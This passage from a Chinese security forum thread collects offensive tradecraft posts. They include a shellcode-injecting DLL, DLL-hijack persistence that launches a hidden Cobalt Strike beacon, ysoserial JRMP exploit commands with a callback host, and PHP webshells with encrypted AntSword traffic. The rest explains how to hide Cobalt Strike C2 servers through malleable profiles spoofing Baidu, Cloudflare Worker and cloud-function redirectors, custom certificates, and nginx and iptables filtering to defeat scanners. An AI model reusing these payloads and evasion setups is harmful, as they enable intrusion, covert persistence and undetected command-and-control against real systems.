                "\xd8\xed\x51\xb7\x10\xdd\xdc\xb7\x66\xdb\x74\xcc\xc6\x08\xa6"
                "\x36\x8a\x3a\x23\x85\x4f\xa7\x67\x52\x2f\x26\x20\x85\x5e\xb2"
                "\x42\xa3\x6c\x9c\x63\xd1\x06\x67\x0a\xfb\xef\x6b\x63\x3f\x03"
                "\x99\xc8\xb0\x99\x4f\x6e\x0c\xa5\x86\xef\xb6\x66\x9a\x7b\xc4"
                "\xf5\xc7\x6e\xdc\x66\x65\xf7\xef\x45\xaf\xb0\xe7\x36\xd7\x13"
                "\x4c\x02\xdf\x2e\xff\x99\x5a\x6a\x0c\x8d\xa6\x11\x77\x2e\x13"
                "\xe3\xc4\xf5\x04\xe1\x68\x86\x65\xf7\xcd\xc6\x29\x84\xa7\x27"
                "\xc2\x6e\x0c\xad\xa6\x67\x4e\x27\x20\xbb\x20\x3b\x8f\x11\x62"
                "\xe3\x5a\x56\x8f\x06\x11\x20\xc2\x83\x72\xb1\x85\x4f\xee\xa6"
                "\x34\x8a\x8a\x6a\x0c\xad\xa3\xdf\x7e\x0c\x9e\x63\xdd\x07\x67"
                "\x17\xf6\xdc\x98\xfb\x4d\x10\x11\x3b\x34\x9e\x9a\x5c\xd0\x07"
                "\x6d\x2a\x97\x38\x13\xd4\xef\x0f\xaf\xb7\xdf\x66\x8a\x22\x85"
                "\x0e\xb6\xa6\x3e\x94\xd2\x13\x4c\x0e\x54\xb6\x13\x35\x7f\xdd"
                "\x50\x07\x67\x2d\xfe\xef\x5d\x6f\xb4\x86\xa7\x67\x47\x2e\x13"
                "\xf8\xcd\xc6\x17\xaf\x0d\x64\x43\xea\xda\xb0\x3b\x6d\x4f\x66"
                "\xe7\x0a\xdd\x0e\xb9\xb7\xdf\x66\xda\x22\x85\x0e\xb6\x84\xb7"
                "\x3c\xdb\x98\x8e\x60\xe1\xde\x48\xb3\xcd\x7b\xc4\xf5\x9b\x80"
                "\xfa\x07\x65\xf7\xcc\xb0\x20\x07\x8b\x99\x65\xdd\xcd\x4e\x2d"
                "\xa6\x9e\xa0\xd2\xa7\x73\x3a\x5a\xaf\x48\x81\xc2\x48\x85\x16"
                "\xa7\x29\x75\x96\x2f\x80\xd3\xb0\x3b\xee\xb7";
            size_t size = sizeof(buf);
            char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(inject, buf, size);
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
        }
        return TRUE;
    }
```

中间那段为shellcode

这种直接生成的dll不免杀,实战中需要做免杀处理。

### dll加载免杀马上线(也是利用转发)

首先给这个文件加一个隐藏属性:

```
attrib +h beacon.exe
```

接着采用DLL去加载这个木马,

代码如下:

```c++
#include "pch.h"
#include "windows.h"
//开始转发,将函数方法转发
//导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(TEXT("path\\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
    }

    return TRUE;

}
```

然后后面直接去尝试加载就行了,程序执行完的时候(`DLL_PROCESS_DETACH`),会自动加载我们的cs马。

说一下这种方案的好处,就是DLL根本没有恶意操作,所以肯定会免杀,但是你的木马文件要做好免杀,这种思路主要应用于通过劫持一些程序的DLL,然后实现隐蔽的重启上线,也就是权限持续维持,单单杀启动项对DLL进行权限维持的方式来说是没有用的。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-27 21:16:55 | 显示全部楼层
# 反序列化工具ysoserial使用介绍

### 0x01 基本使用方法

**在公网vps上执行:**

```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】‘
```

port:公网vps上监听的端口号
commands:需要执行的命令
例子:

```html
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'
```

**重启一个shell窗口:**

```
python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】  【JRMPListener port】 JRMPClient
```

列子:

```
python exploit.py 118.89.53.139  7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient
```

### 在ysoserial编写自己的payload

1. git clone [ https://github.com/fanyingjie2/ysoserial.git](https://github.com/fanyingjie2/ysoserial.git)

2. 将自己编写的payload放在下载的包中:路径ysoserial/src/main/java/ysoserial/payloads/

3. 修改Dockerfile

4. docker build -t ysoserial .

5. docker run -ti ID号 /bin/bash

6. 在docke中执行 apt-get update

7. 在docker中执行apt-get install lrzsz

8. sz target/ysoserial.jar

   

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-29 17:56:41 | 显示全部楼层
蚁剑作为一款开源工具,自带的编码器!和解码器!的特征是很明显的,由于蚁剑的开源所以可以通过更改配置文件来达到流量加密,也可以使用一些其他方式如代理中转方式进行流量加密,同样也可以编写蚁剑插件进行编码解码,流量加密的方式不止一种,选择自己擅长的就行。
1.蚁剑的特征
0x01(新版本的蚁剑已经用随机UA了)
蚁剑默认UA抓包:

主要修改的位置:
/modules/request.js
这边主要是推荐百度UA,具体自己可以百度下其他UA,都可以根据需要来进行设置:
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
原来的UA:

还有一个位置
/modules/update.js

0x02RSA流量加密
蚁剑从2.1开始支持了RSA加密算法,但是仅仅支持php。 在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。
<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>
注意这里YXNzZxJ0 base64解密为assert,eval不可以。因为eval属于语言构造器,在php中不能来回调,类似call_user_function()。
其中数据请求包中存在eval关键字,还是容易被waf检测到,所以UA头一定要记得修改。
采用RSA加密(别用蚁剑自带的)
新建一个rsa编码器

<?php $cmd = @$_POST['ant']; $pk = <<<EOF -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34 XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k 8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3N eAKyYF0SRzIqPz8CvwIDAQAB -----END PUBLIC KEY----- EOF; $cmds = explode("|", $cmd); $pk = openssl_pkey_get_public($pk); $cmd = ''; foreach ($cmds as $value) {  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {    $cmd .= $de;  } } eval($cmd);

0x03:蚁剑插件
蚁剑加载不出来插件库,这里可以手动导入或者进行代理科学上网,因为仓库在国外,不科学上网拉不下来插件,配置完以后你会发现下载插件到本地速度嗖嗖的!
这里看一下插件库,最为人们常用的就属绕过disable_functions这个插件了。

0x04 配置代理
利用代理工具将蚁剑传输的数据进行自定义加密后发送给webshell,由webshell解密数据进行执行。原理类似下图:
在这里使用MitmProxy作为代理,编写MitmProxy插件对数据进行加解密,直接pip安装MitmProxy即可(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)

将支持 DES 加密的 Webshell 上传到服务器


运行下列代码开启代理中转(使用 -p 可以自定以端口

Windows:mitmdump -k -s 插件路径 Linux:mitmproxy -k -s 插件路径

蚁剑添加mitmproxy代理,默认端口8080

完成上面步骤首先测试测试连接流量数据,数据如下所示已经完全加密并且正常获取到响应(在星号之间的数据是发送的数据,在等号之间的是获取的响应)
然后接下来测试文件相关操作,可以正常获取数据,经过测试文件上传下载均正常使用。
接下来是命令执行相关的数据包加密情况:
可以看到命令执行相关的代码也进行了加密并且响应包正常返回。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-29 17:59:12 | 显示全部楼层


# Cobalt Strike 的特征与隐藏

0x01

cobalt strike 默认50050端口,修改也很简单。只需要编辑teamserver文件,修改server_port 即可。

## 0x02cobaltstrike.store

cobaltstrike.store证书只用于服务端和客户端通讯。区别于HTTPS上线使用的证书。

根据这篇文章 [https://wbglil.gitbook.io/cobalt ... zheng-4e66-za-xiang](https://links.jianshu.com/go?to= ... zheng-4e66-za-xiang) 提示HTTPS通信使用的是ssl.store证书。
cobalt strike 默认的证书存在cobalt strike 的指纹信息。需要keytool (Java数据证书的管理工具) 修改证书信息,创建新的cobaltstrike.store。

```bash
keytool -keystore cobaltstrike.store -storepass ccc123456 -keypass ccc123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12
```

修改之前默认的store信息

```cpp
keytool -list -v -keystore cobaltstrike.store -storepass 123456
```

![image-20211028123144468](C:\Users\e'e't\Desktop\image-20211028123144468.png)

这里用的4.1版本,默认SHA256值为
`64257FC0FAC31C01A5CCD816C73EA86E639260DA1604D04DB869BB603C2886E6`
可以在censys.io上直接搜索这个证书。

。![image-20211028153723781](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211028153723781.png)

修改之后的特征值如下图

![img](C:\Users\e'e't\Desktop\2.png)



0x03

## HTTP 流量特征

在使用cobalt strike HTTP通信的过程中,通过wireshark可抓取HTTP协议。包括请求的固定地址,请求头等等。可以看到一些固定的请求信息成为一部分特征。

![img](C:\Users\e'e't\Desktop\3.png)

image.png

所以Malleable-C2-Profiles 配置文件由此而来,它允许我们仅通过一个简单的配置文件来改变Beacon与cobalt strike通信时的流量特征与行为。

自己简单从 [https://github.com/rsmudge/Malle ... rmal/amazon.profile](https://links.jianshu.com/go?to= ... al%2Famazon.profile) 上改写了一个配置文件。



```dart
set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";

http-get {

    set uri "/5eN1bjq8AAUYm2zgoY3K/ll_9354efa.js";

    client {

        header "Accept" "*/*";
        header "Host" "www.baidu.com";
        header "Content-Type" "text/html;charset=UTF-8";
        header "Cache-Control" "no-cache";

        metadata {
            base64;
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

    server {

        header "Server" "nginx";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Content-Encoding" "gzip";
        header "Cache-Control" "no-cache";
        header "Content-Type" "text/html;charset=UTF-8";

        output {
            print;
        }
    }
}

http-post {
   
    set uri "/hiscd37ed75a9387c5b.js";

    client {

        header "Accept" "*/*";
        header "Content-Type" "text/html;charset=UTF-8";
        header "Host" "hectorstatic.baidu.com";

        id {
            parameter "sn";
        }

        parameter "dc_ref" "http%3A%2F%2Fwww.baidu.com";

        output {
            base64;
            print;
        }
    }

    server {

        header "Server" "nginx";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Content-Type" "text/html;charset=UTF-8";

        output {
            print;
        }
    }
}
```

```dart
}
```

修改了HTTP的get、post请求方式的一些信息。
通过./c2lint 检测该profile文件。

![img](C:\Users\e'e't\Desktop\4.png)

那使用HTTPS加密通信,不可以绕过流量设备的检测吗?
答案是不可以。因为在Beacon上线时使用的HTTPS证书同样具有特征。
以Cobalt Strike 4.1 为例,wireshark抓取Certificate数据包。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

选择`Export Selected Packet Bytes`,即导出分组字节流。
保存格式为'All files',命名为a.cer。
而后计算该证书的MD5和SHA256值。

![img](C:\Users\e'e't\Desktop\5.png)

也可利用censys.io搜索相关信息

```css
443.https.tls.certificate.parsed.fingerprint_sha256:87f2085c32b6a2cc709b365f55873e207a9caa10bffecf2fd16d3cf9d94d390c
```



![img](C:\Users\e'e't\Desktop\6.png)

http流量特征不止存在于这些地方

在Certificate数据包里存在特征,而Client Hello数据包同样也存在。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

JA3 这个项目用于收集Client Hello数据包中以下字段的十进制值:包括版本、可接受的密码、扩展列表、椭圆曲线密码和椭圆曲线密码格式。然后,用`,`来分隔各个字段、用`-`来分隔各个字段中的各个值,将这些值串联在一起之后,计算 `MD5`,就是一个ja3。如果没有某个字段,则这些字段的值为空。
我用wireshark抓一下HTTPS的Client Hello数据包。
第一个字段版本:TLS ClientHello version

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

转化十六进制即为771。

第二个字段接受的加密算法:Cipher Suites

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

正好包括十九组,依次计算十进制,即为

```undefined
49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10
```

第三个字段扩展列表中的每一个type值

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

使用`-`依次连接,即为

```undefined
5-10-11-13-35-23-65281
```

第四个字段`支持的椭圆曲线 Extension
对supported group 字段的值依次计算。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)



29-23-24

最后一个字段 Extension: ec_point_formats
支持的点压缩格式扩展。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

为0。
将上面数值用`,`拼接,而后MD5哈希,结果为`72a589da586844d7f0818ce684948eea`

这些都是加密流量后的,特征值还是会被找出

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

有师傅已经写出了脚本实现自动化计算。
利用 [https://github.com/Macr0phag3/ja3box](https://links.jianshu.com/go?to= ... Macr0phag3%2Fja3box) 项目检查一下计算是否正确。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

对比 [https://github.com/ByteSecLabs/j ... ter/master-list.txt](https://links.jianshu.com/go?to= ... r%2Fmaster-list.txt) 可证实是CobaltStrike的ja3指纹。但是直接通过ja3值去判定cobalt strike显得不是很严谨。
具体参考 [https://zhuanlan.zhihu.com/p/342562936](https://links.jianshu.com/go?to= ... com%2Fp%2F342562936)



#### 应对方法:基于以上对HTTPS证书特征的查看,强烈建议一定要修改默认的HTTPS证书,重新申请一个HTTPS证书。

先在godaddy购买的域名上,添加A记录,指向自己的服务器。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

再去freessl网站申请证书。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

会生成一个TXT记录,复制进DNS域名管理。而后等待解析。
通过后,点击下载文件。![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

得到full_chain.pem证书和private.key私钥两个文件。上传至cobalt strike文件夹下,使用keytool重新创建store证书。

```css
openssl pkcs12 -export -in full_chain.pem -inkey private.key -out cdn.cseroadweb.xyz.p12 -name cdn.cseroadweb.xyz -passout pass:ccc123456
生成ssl证书
```

```css
keytool -importkeystore -deststorepass ccc123456 -destkeypass ccc123456 -destkeystore new.store -srckeystore cdn.cseroadweb.xyz.p12 -srcstoretype PKCS12 -srcstorepass ccc123456 -alias cdn.cseroadweb.xyz
根据ssl生成store证书
```

创建后,在profile配置文件中,添加

```bash
https-certificate {
    set keystore "new.store";
    set password "ccc123456";
}
```

同时也将teamserver的store替换为new.store(上面代码自定义文件名),保证cobalt strike去除特征。
测试可绕过某些流量监控设备。



0x04

## Beacon Staging 特征

在cobalt strike 上线的时候,首先投递一个被称为stager的小巧payload,然后去beacon staging server下载体积较大更复杂的stage。具体细节不是很明白。
通过访问默认的uri就可以获取到cobalt strike 的shellcode。有师傅已经写好了`grab_beacon_config.nse`脚本来识别beacon staging的特征。

```undefined
nmap 47.10.xxx.xxx --script=grab_beacon_config.nse
```

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

且360的Quake主动测绘已经有了通过beacon查找C2。具体参考 [https://www.anquanke.com/post/id/224535](https://links.jianshu.com/go?to= ... Fpost%2Fid%2F224535)

1. 修改源码加密的密钥,参考:[https://cloud.tencent.com/developer/article/1764340](https://links.jianshu.com/go?to= ... 2Farticle%2F1764340)(看不懂看????)

2. 从防火墙上限制访问beacon的端口。

   通过iptables临时禁用端口。

```css
iptables -I INPUT -p tcp --dport 443 -j DROP
iptables -I INPUT -s 47.10.xx.xx -ptcp --dport 443 -j ACCEPT
```

只允许47.10.xx.xx这个IP访问443端口。
本地云服务器上发现没有iptables服务,只能使用iptablse-save生成配置文件

```jsx
iptables-save > /etc/iptables.rules
```

配置网卡启动前加载
编辑`/etc/network/interfaces`文件,添加

```jsx
pre-up iptables-restore < /etc/iptables.rules
```

再重启网卡即可。





**上述都是真正做隐藏免杀前要做的**

# **接下来才是隐藏或免杀的方法**

### 0x01 CDN

简介

利用CDN来转发合法的http或者https流量来隐藏。

使用

可以利用Cloudflare 配置CDN来隐藏Cobalt Strike。测试的时候不稳定。

#### 配置cloudflare cdn

- 1.先添加域名

  ![img]()

- 2.添加A记录,指向VPS的IP地址
  选择免费版本,设置要加速的子域名,并在你的域名服务商处修改域名解析dns为cloudflare的dns。

- 3.稍等一会,经过cloudflare验证成功后,本地nslookup域名,看一下生效没有。

  ![img]()

  #### 关闭缓存

  为了实时受到我们的命令的响应:我们需要修改缓存规则:
  [![img]()]()
  cloudflare能开启开发模式,来禁用缓存,但是只有3个小时。我们可以通过页面规则来永久设置缓存规则。
  [![img]()

  []()

  因为cs配置文件中设置的uri都是js结尾的,所以这里使用`*js`来匹配所有uri。

  #### 坑点

  这里设置cs配置文件时候需要,需要将头设置为`header "Content-Type" "application/*; charset=utf-8";`不然可能会出现能上线但是无法回显命令的情况
  这里的mime-type如果为application/javascript、text/html等,机器执行命令就无法回显。我怀疑是cdn会检测响应头content-type的值,如果是一些静态文件的mime-type可能就导致这个问题。
  至此,cdn就配置完了。并且能通过cdn正常上线。

  #### 配置cloudflare worker

  配置这个就类似域前置的作用,但是能找到还能够进行域前置技术的CDN还是用域前置比较好,cloudfalre worker可以说只是一个替代品。
  cloudflare worker能够执行无服务器函数,免费用户有10万请求/每天的额度。并且你能自定义workers.dev的子域。我们可以编写js处理以及转发请求。
  [![img]()]()
  js脚本如下,需要设置X-Forwarded-For头,不然上线的ip是worker的ipv6地址。

  

  Go

  ```
  let upstream = 'https://img.xxx.tk'
  
  addEventListener('fetch', event => {
      event.respondWith(fetchAndApply(event.request));
  })
  
  async function fetchAndApply(request) {
      const ipAddress = request.headers.get('cf-connecting-ip') || '';
      let requestURL = new URL(request.url);
      let upstreamURL = new URL(upstream);
      requestURL.protocol = upstreamURL.protocol;
      requestURL.host = upstreamURL.host;
      requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
  
      let new_request_headers = new Headers(request.headers);
      new_request_headers.set("X-Forwarded-For", ipAddress);
      let fetchedResponse = await fetch(
          new Request(requestURL, {
              method: request.method,
              headers: new_request_headers,
              body: request.body
          })
      );
      let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
      modifiedResponseHeaders.delete('set-cookie');
      return new Response(
          fetchedResponse.body,
          {
              headers: modifiedResponseHeaders,
              status: fetchedResponse.status,
              statusText: fetchedResponse.statusText
          }
      );
  }
  ```

  [![img]()]()
  点击保存部署,访问xxx.ttttt-api.workers.dev域名,看看是否正常。然后在listener中设置
  [![img]()]()
  到此设置完毕。
  之后通信的请求都是通过xxx.xxx.workers.dev进行的,隐藏了真实域名。并且shellcode通信的ip地址也是cloudflare的ip。

### 0x02域前置

简介

我们curl a.com -H "host:b.com",此时抓包流量,表面上显示a.com,实际上我们与b.com进行了通信。
通过在加速域名设置为高可信白名单子域名隐藏自己的真实域名与ip,且受害主机上的流量只有跟CDN通信的,不会存在真实的Cobalt Strike。

使用

在四月份的时候,阿里云还可以做域前置。现在阿里云也做了验证加速域名的所有权。导致这个方案也夭折了。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

### 0x03云函数

简介

Cobalt Strike客户端的流量经过云函数转发,到达Cobalt Strike服务器,以此来达到隐藏的效果。

使用

选择腾讯云函数来隐藏Cobalt Strike,使用API网关,点击创建服务并新建API,使用python3.6来创建一个hello word模板。
注意创建API时,路径为/

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

创建函数服务--->函数管理--->函数代码

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

```python
# -*- coding: utf8 -*-
import json
def main_handler(event, context):
    print("Received event: " + json.dumps(event, indent = 2))
    res = {
        "isBase64Encoded": False,
        "statusCode": 200,
        "headers": {"Content-Type":"text/html"},
        "body": "<html><body><h1>hello</h1></body></html>"
    }
    return res
```

创建触发器,点击发布。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/890/format/webp)

详情配置参考 [https://www.cnblogs.com/ahtoh/p/14680876.html](https://links.jianshu.com/go?to= ... 2Fp%2F14680876.html)
配置云函数转发到Cobalt Strike。只需要修改函数代码,其余不做修改。



```python
# -*- coding: utf8 -*-
```

```python
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        C2='http://47.102.xxx.xxx:80'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():   
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False)
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print(e)
    finally:
        return response
```

再次发布测试。
访问API网关,默认404页面。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/668/format/webp)

image.png

在Cobalt Strike 服务器端新增profile文件。

```dart
set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
```

启动Cobalt Strike 服务端,创建listener。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/940/format/webp)

可以成功上线。且外部IP均为腾讯云。

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)

如果使用https,则需要修改函数代码。

```rust
C2='https://47.102.xx.xx:443'
```

![img](?imageMogr2/auto-orient/strip|imageView2/2/w/1152/format/webp)

但因为腾讯云函数只支持80,443端口,而beacon Staging 特征也是在80,443上,依然可以发现Cobalt Strike 的特征。



### 0x04部署Nginx反向代理以及https上线

如果在cobalt strike的c2 malleable配置文件中没有自定义http-stager的uri。默认情况下,通过访问默认的uri,就能获取到cs的shellcode。加密shellcode的密钥又是固定的(3.x 0x69,4.x 0x2e),所以能从shellcode中解出c2域名等配置信息。如图是nmap扫描插件的扫描结果。

![img]()

修改这个特征的方法有很多,可以修改源码加密的密钥,参考:[Bypass cobaltstrike beacon config scan](https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw)
但是光这样也很容易被扫描检测到,所以我们最好还得配置防火墙,限制访问Cs监听的端口
接下来介绍的是我用的一种方法:设置iptables,只允许localhost访问cs listener监听的端口。将外部请求通过nginx转发到localhost上的listener。还可以在nginx上设置过滤规则来允许特定请求。

#### 配置/etc/nginx/nginx.conf文件

首先配置conf文件,Nginx一键安装,在配置文件中设置只允许特定的请求头访问CS的监听端口。这里要根据你的cs配置文件来进行利用,我用的是jquery-c2.4.0.profile
配置如下:只有用我们所指定的请求头的请求才能被反向代理到stage uri

```bash
location ~*/jquery {
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
        return 302 $REDIRECT_DOMAIN$request_uri;
        }
        proxy_pass          https://127.0.0.1:5553;
```

#### 申请https证书

这里可以直接在cloudflare上申请(申请的域名需要与nginx上设置的域名一致(就是要真实访问的域名)),非常方便,选择默认的pem格式

![img]()

分别复制内容保存为key.pem和chain.pem上传到cs的服务器上,再在nginx配置文件中启用证书。

```bash
server_name  img.xxxx.tk
root         /usr/share/nginx/html;
ssl_certificate "/usr/local/cs/all/uploads/sss.pem";
ssl_certificate_key "/usr/local/cs/all/uploads/ssk.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout  1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # managed by Certbot
ssl_prefer_server_ciphers on; # managed by Certbot
```

#### 为cobalt strike 配置证书

- 1.生成img.xxxx.tk.store文件
  `openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456 `
  `keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com.store -srckeystore api.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias api.xxx.com`
- 2.将生成的api.xxx.com.store放到cs目录下,修改teamserver文件最后一行,将cobaltstrike.store修改为api.xxx.com.store和store文件对应的密码。
  (有必要的话,把端口号也可以改了并设置iptables只允许特定ip访问)
  `java -XXarallelGCThreads=4 -Dcobaltstrike.server_port=40120 -Djavax.net.ssl.keyStore=./api.xxx.com.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*`
- 3.将 keystore 加入 Malleable C2 profile 中

```bash
https-certificate {
     set keystore “api.xxx.com.store”;
     set password “123456”;
}
```

然后启动cs设置listener。

![img]()

这里https port(bind):设置的43211(cs会把端口开在43211),在nginx配置文件中的将proxy_pass设置为:[https://127.0.0.1:43211](https://127.0.0.1:43211/)。
开启listener之后设置iptables,只允许127.0.0.1访问。这下nmap也就扫不出来了。

```css
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 43211 -j ACCEPT
iptables -A INPUT -p tcp --dport 43211 -j DROP
```

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 18:08 , Processed in 0.022175 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表